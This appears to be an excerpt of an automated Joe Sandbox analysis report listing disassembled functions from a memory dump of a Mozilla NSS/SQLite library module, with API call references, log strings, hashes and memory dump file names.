Part of subcall function 6C558FE0: memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C560710), ref: 6C559066
Part of subcall function 6C558FE0: PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C560710), ref: 6C559078

TlsGetValue.KERNEL32 ref: 6C558AC1
EnterCriticalSection.KERNEL32 ref: 6C558AD6
PL_FinishArenaPool.NSS3 ref: 6C558AE5
PR_Unlock.NSS3 ref: 6C558AF7
DeleteCriticalSection.KERNEL32 ref: 6C558B02
free.MOZGLUE ref: 6C558B0E

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$calloc$CriticalPrivateSectionThread$ArenaDeleteEnterFinishPoolUnlockfreememcpy
String ID:
API String ID: 417085867-0
Opcode ID: 65a1e00e776210071d84d3a6f0695ee6d479edff61b9f8cb68a10465565021ec
Instruction ID: 45288b9b91dc62c62432172edc5f19d19b44ee48d44fc78b0a9c43f850ccf7f4
Opcode Fuzzy Hash: 65a1e00e776210071d84d3a6f0695ee6d479edff61b9f8cb68a10465565021ec
Instruction Fuzzy Hash: B2117CB1514605DFDB00BF79C88966ABBF4FF41358F41492AD88587700EB34D8A9CBD6

Function 6C658910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C65892E

Part of subcall function 6C530F00: PR_GetPageSize.NSS3(6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F1B
Part of subcall function 6C530F00: PR_NewLogModule.NSS3(clock,6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F25

PR_Lock.NSS3 ref: 6C658950

Part of subcall function 6C609BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C531A48), ref: 6C609BB3
Part of subcall function 6C609BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C531A48), ref: 6C609BC8

getprotobynumber.WSOCK32(?), ref: 6C658959
GetLastError.KERNEL32(?), ref: 6C658967
PR_GetCurrentThread.NSS3(?,?), ref: 6C65896F
PR_Unlock.NSS3(?,?), ref: 6C65898A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 6f8d715a4fd9b154b4d97f8634860e63f6e8e36b818f308d0ef51b54696dcc81
Instruction ID: d620083a879328a25d49d6a42ae21b2904d96b59f5ba185271b262f38d5936c3
Opcode Fuzzy Hash: 6f8d715a4fd9b154b4d97f8634860e63f6e8e36b818f308d0ef51b54696dcc81
Instruction Fuzzy Hash: B21106B6A601209FCB005FBA9C4058E3765AF8A338F550366DC09A7BB1D7308C14C7CE

Function 6C6586C0 Relevance: 9.1, APIs: 6, Instructions: 54threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C6586DE

Part of subcall function 6C530F00: PR_GetPageSize.NSS3(6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F1B
Part of subcall function 6C530F00: PR_NewLogModule.NSS3(clock,6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F25

PR_Lock.NSS3 ref: 6C658700

Part of subcall function 6C609BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C531A48), ref: 6C609BB3
Part of subcall function 6C609BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C531A48), ref: 6C609BC8

getprotobyname.WSOCK32(?), ref: 6C658709
GetLastError.KERNEL32(?), ref: 6C658717
PR_GetCurrentThread.NSS3(?,?), ref: 6C65871F
PR_Unlock.NSS3(?,?), ref: 6C65873A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobyname
String ID:
API String ID: 2388724134-0
Opcode ID: e2476d8bfaffa4a4cf9914e85185c7d3ace8dd6427c7a919a28e79ceea418805
Instruction ID: 31827d1a1a1fbeb7ae341085339b0390a64093ff621906624bd6029f581d6c04
Opcode Fuzzy Hash: e2476d8bfaffa4a4cf9914e85185c7d3ace8dd6427c7a919a28e79ceea418805
Instruction Fuzzy Hash: 8111C676A601209FCB005F769D4058E3665AB8A338F650266DC0997FB1C7309C14CBDD

Function 6C52C4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C52C4F0
free.MOZGLUE ref: 6C52C51A
TlsSetValue.KERNEL32 ref: 6C52C540
free.MOZGLUE ref: 6C52C557
DeleteCriticalSection.KERNEL32 ref: 6C52C56A
free.MOZGLUE ref: 6C52C576

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: c28c21910b3d72751df7a0f1c31de94c3772594aa72ee88abb6964672533874f
Instruction ID: 7f46be0d4e3cd51f2a8648a15eb0fc1018b46760de5a7f0921471a9af6f7daae
Opcode Fuzzy Hash: c28c21910b3d72751df7a0f1c31de94c3772594aa72ee88abb6964672533874f
Instruction Fuzzy Hash: 63110A74604B01CBDB10BF7AC48956EBBF4BF45745F450A2DD8CA87641EB34E484CB8A

Function 6C55AB10 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(D958E852,6C561397,5B5F5EC0,?,?,6C55B1EE,2404110F,?,?), ref: 6C55AB3C
free.MOZGLUE(D958E836,?,6C55B1EE,2404110F,?,?), ref: 6C55AB49
DeleteCriticalSection.KERNEL32(5D5E6C75), ref: 6C55AB5C
free.MOZGLUE(5D5E6C69), ref: 6C55AB63
DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C55AB6F
free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C55AB76

Part of subcall function 6C58F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C58F854
Part of subcall function 6C58F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C58F868
Part of subcall function 6C58F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C58F882
Part of subcall function 6C58F820: free.MOZGLUE(04C483FF,?,?), ref: 6C58F889
Part of subcall function 6C58F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C58F8A4
Part of subcall function 6C58F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C58F8AB
Part of subcall function 6C58F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C58F8C9
Part of subcall function 6C58F820: free.MOZGLUE(280F10EC,?,?), ref: 6C58F8D0

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 521b83a64f3b7856df985caff889d94cf0952e8449b8d13a49378d6848c86928
Instruction ID: 5d94b73fa7a852a8e605e86a4fb5f45988a021191c2153e62dba04038c93914b
Opcode Fuzzy Hash: 521b83a64f3b7856df985caff889d94cf0952e8449b8d13a49378d6848c86928
Instruction Fuzzy Hash: 3F01B5B2900606ABCB019FA5DC84C5B737CEB457397440526E90A43A00E736F466DBE1

Function 6C5D6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C5DAA9B,?,?,?,?,?,?,?,00000000,?,6C5D80C1), ref: 6C5D6846

Part of subcall function 6C531770: calloc.MOZGLUE(00000001,0000019C,?,6C5315C2,?,?,?,?,?,00000001,00000040), ref: 6C53178D

PR_NewMonitor.NSS3(00000000,?,6C5DAA9B,?,?,?,?,?,?,?,00000000,?,6C5D80C1), ref: 6C5D6855

Part of subcall function 6C598680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C5455D0,00000000,00000000), ref: 6C59868B
Part of subcall function 6C598680: PR_NewLock.NSS3(00000000,00000000), ref: 6C5986A0
Part of subcall function 6C598680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C5986B2
Part of subcall function 6C598680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C5986C8
Part of subcall function 6C598680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C5986E2
Part of subcall function 6C598680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C5986EC
Part of subcall function 6C598680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C598700

PR_NewMonitor.NSS3(?,6C5DAA9B,?,?,?,?,?,?,?,00000000,?,6C5D80C1), ref: 6C5D687D

Part of subcall function 6C531770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5318DE
Part of subcall function 6C531770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5318F1

PR_NewMonitor.NSS3(?,6C5DAA9B,?,?,?,?,?,?,?,00000000,?,6C5D80C1), ref: 6C5D688C

Part of subcall function 6C531770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5318FC
Part of subcall function 6C531770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C53198A

PR_NewLock.NSS3 ref: 6C5D68A5

Part of subcall function 6C6098D0: calloc.MOZGLUE(00000001,00000084,6C530936,00000001,?,6C53102C), ref: 6C6098E5

PR_NewLock.NSS3 ref: 6C5D68B4

Part of subcall function 6C6098D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C609946
Part of subcall function 6C6098D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4C16B7,00000000), ref: 6C60994E
Part of subcall function 6C6098D0: free.MOZGLUE(00000000), ref: 6C60995E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 96cfda88d8232f47bb17d97d820cc771fe9bf9dc1dfbe9ba57ed05591b534889
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 5401FBB0A01B1786E7516B794C243E777E59F4128DF16083A8469CAB40FF61E8498BA9

Function 6C54E520 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000,?,?,6C557F5D,00000000,00000000,?,?,?,6C5580DD), ref: 6C54E532

Part of subcall function 6C609090: TlsGetValue.KERNEL32 ref: 6C6090AB
Part of subcall function 6C609090: TlsGetValue.KERNEL32 ref: 6C6090C9
Part of subcall function 6C609090: EnterCriticalSection.KERNEL32 ref: 6C6090E5
Part of subcall function 6C609090: TlsGetValue.KERNEL32 ref: 6C609116
Part of subcall function 6C609090: LeaveCriticalSection.KERNEL32 ref: 6C60913F

PR_EnterMonitor.NSS3(6C5580DD), ref: 6C54E549

Part of subcall function 6C609090: LeaveCriticalSection.KERNEL32 ref: 6C6091AA
Part of subcall function 6C609090: TlsGetValue.KERNEL32 ref: 6C609212
Part of subcall function 6C609090: _PR_MD_WAIT_CV.NSS3 ref: 6C60926B

PR_ExitMonitor.NSS3 ref: 6C54E56D
PL_HashTableDestroy.NSS3 ref: 6C54E57B

Part of subcall function 6C54E190: PR_EnterMonitor.NSS3(?,?,6C54E175), ref: 6C54E19C
Part of subcall function 6C54E190: PR_EnterMonitor.NSS3(6C54E175), ref: 6C54E1AA
Part of subcall function 6C54E190: PR_ExitMonitor.NSS3 ref: 6C54E208
Part of subcall function 6C54E190: PL_HashTableRemove.NSS3(?), ref: 6C54E219
Part of subcall function 6C54E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C54E231
Part of subcall function 6C54E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C54E249
Part of subcall function 6C54E190: PR_ExitMonitor.NSS3 ref: 6C54E257

PR_ExitMonitor.NSS3(6C5580DD), ref: 6C54E5B5
PR_DestroyMonitor.NSS3 ref: 6C54E5C3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Monitor$Enter$ExitValue$CriticalSection$Arena_DestroyFreeHashLeaveTableUtil$Remove
String ID:
API String ID: 3740585915-0
Opcode ID: 23549c5482c66ad518fa3a794cc6cf4ea6f06d18298f9fb6ff9b2707a2610406
Instruction ID: 46ad406b43475cd9f8103f636acc8681fa0793e1f99f6d8e6281ebcdb0d1449a
Opcode Fuzzy Hash: 23549c5482c66ad518fa3a794cc6cf4ea6f06d18298f9fb6ff9b2707a2610406
Instruction Fuzzy Hash: 28011EB1E10180CAEF019BA6FE8169976B5B70634CF009526D40791611FB717559EB8A

Function 6C52AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C52AFDA

Strings

%s at line %d of [%.10s], xrefs: 6C52AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C52AF5C
misuse, xrefs: 6C52AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C52AFC4

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 431642ebff597ea28c8966c07ea92c4d1d564d4fcd5ccbe122a1ed909ae31a2a
Instruction ID: 597f34011b0ececfbc56bc0c627058135a10e6aee4250bb83103260f11ae1616
Opcode Fuzzy Hash: 431642ebff597ea28c8966c07ea92c4d1d564d4fcd5ccbe122a1ed909ae31a2a
Instruction Fuzzy Hash: 3291E075A002558FDB14CF69CC90AAAB7F1BF45314F1985A8E865AB791D738EC02CBA0

Function 6C4CE6D0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 194COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C4CE81D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010966,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C4CDB91,?,?), ref: 6C4CE8E7

Strings

%s at line %d of [%.10s], xrefs: 6C4CE8E0
database corruption, xrefs: 6C4CE8DB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4CE8C5, 6C4CE8D1, 6C4CE8F9, 6C4CE905, 6C4CE911, 6C4CE91D, 6C4CE929, 6C4CE935

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3107271255-598938438
Opcode ID: 201b6385fc81faef2c0a7d8e5b67d417f4c61db8328f1a40710394b63639a0be
Instruction ID: 9fa9d7f55dd6586708affab97aed66b385f011153882f47b48a08c31f488fc12
Opcode Fuzzy Hash: 201b6385fc81faef2c0a7d8e5b67d417f4c61db8328f1a40710394b63639a0be
Instruction Fuzzy Hash: EF71CE75E052299BCB15CF9DC4C2EEEBBB0AB09304F14456AE854BBB51D370E941CBB2

Function 6C4D4AC0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000B2F5), ref: 6C4D4C2B

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C4D4C24
Pel, xrefs: 6C4D4B8D
winWrite1, xrefs: 6C4D4BC2
winWrite2, xrefs: 6C4D4C01

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log
String ID: Pel$delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 632333372-1744091111
Opcode ID: e3489f18781808ae62c54a2939f6c54aa51670c419009d6617ecc979f5155351
Instruction ID: 306c0e43c2df9dcccd8b3e84234554f8c1a5969c5cf70048863a43dc6df7018c
Opcode Fuzzy Hash: e3489f18781808ae62c54a2939f6c54aa51670c419009d6617ecc979f5155351
Instruction Fuzzy Hash: 8041A2717043069BD704DF1AD890E5ABBE9FFD9364F118A29F8548B790D730E905CB92

Function 6C5549C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 6C554860: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C554894

PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C556361,?,?,?), ref: 6C554A8F
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C556361,?,?,?), ref: 6C554AD0

Strings

^jUl, xrefs: 6C5549C5
acUl, xrefs: 6C5549FB
acUl, xrefs: 6C554AB4

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$DecodeItem_QuickUtil
String ID: ^jUl$acUl$acUl
API String ID: 1982233058-3556901596
Opcode ID: 7712e7faf13418ceb388c4a52edeb7a7da9fe216d4944ac5979abbe48a0139b6
Instruction ID: b2d7772339cdfd0baf9d2221fa52ee5f879f9a62e4bb114265edbb0809a4e39a
Opcode Fuzzy Hash: 7712e7faf13418ceb388c4a52edeb7a7da9fe216d4944ac5979abbe48a0139b6
Instruction Fuzzy Hash: 2A31E538A0410687FB50CA99EC90B6E7267EB82318FA04A3BD515B7BC1C7349C74879A

Function 6C4CE4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4CE53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4CE5BC

Strings

%s at line %d of [%.10s], xrefs: 6C4CE534, 6C4CE5B6
database corruption, xrefs: 6C4CE52F, 6C4CE5B1
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4CE525, 6C4CE596, 6C4CE5A7

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

